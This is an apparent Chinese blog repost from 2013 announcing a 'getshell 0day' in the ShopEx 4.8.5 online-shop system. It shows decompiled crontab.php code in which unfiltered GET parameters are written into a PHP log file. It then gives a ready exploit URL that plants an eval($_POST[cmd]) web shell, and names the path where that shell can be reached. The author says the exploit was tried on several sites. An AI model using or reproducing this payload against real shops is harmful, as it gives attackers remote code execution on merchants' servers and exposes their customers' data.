分享

Shopex 4.8.5.45144 getshell 0day

 ccccshq 2013-06-16

  ShopEx网店系统销售平台,是国内最早的网店软件提供商之一;是目前国内网店系统持续研发最久的公司;是目前网店软件国内市场占有率最高的软件提供商;是目前网店软件行业内规模最大的公司。

漏洞描述:crontab.php变量未进行严格过滤,发现linux的对php exit()不会退出,继续往下执行。于是漏洞产生了。

漏洞代码:
coreinclude_v5crontab.php zend加密后的,我只发布解密后的代码。
public function run( )
{
$this->logFile = HOME_DIR."/logs/access.log.php";
$this->now = time( );
$this->viewStat( );
$messenger =& $this->loadModel( "system/messenger" );
$messenger->runQueue( );
}
public function viewStat( )
{
if ( !file_exists( $this->logFile ) )
{
file_put_contents( $this->logFile, "#<?php exit()?> " ); //囧之处!By:小翔
}
if ( isset( $_GET[action] ) )
{
error_log( $this->now." ".$_GET[action]." ".$_GET[p]." ", 3, $this->logFile );//没有任何过滤,


漏洞利用:

不知道原理,只测试了几个站,发现linux的对php exit()不会退出,继续往下执行。于是漏洞产生了。
直接提交:http://127.0.0.1/shopex/?cron=1&action=1&p=1<?php%20eval($_POST[cmd])?>
一句话在:http://127.0.0.1/shopex/home/logs/access.log.php

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多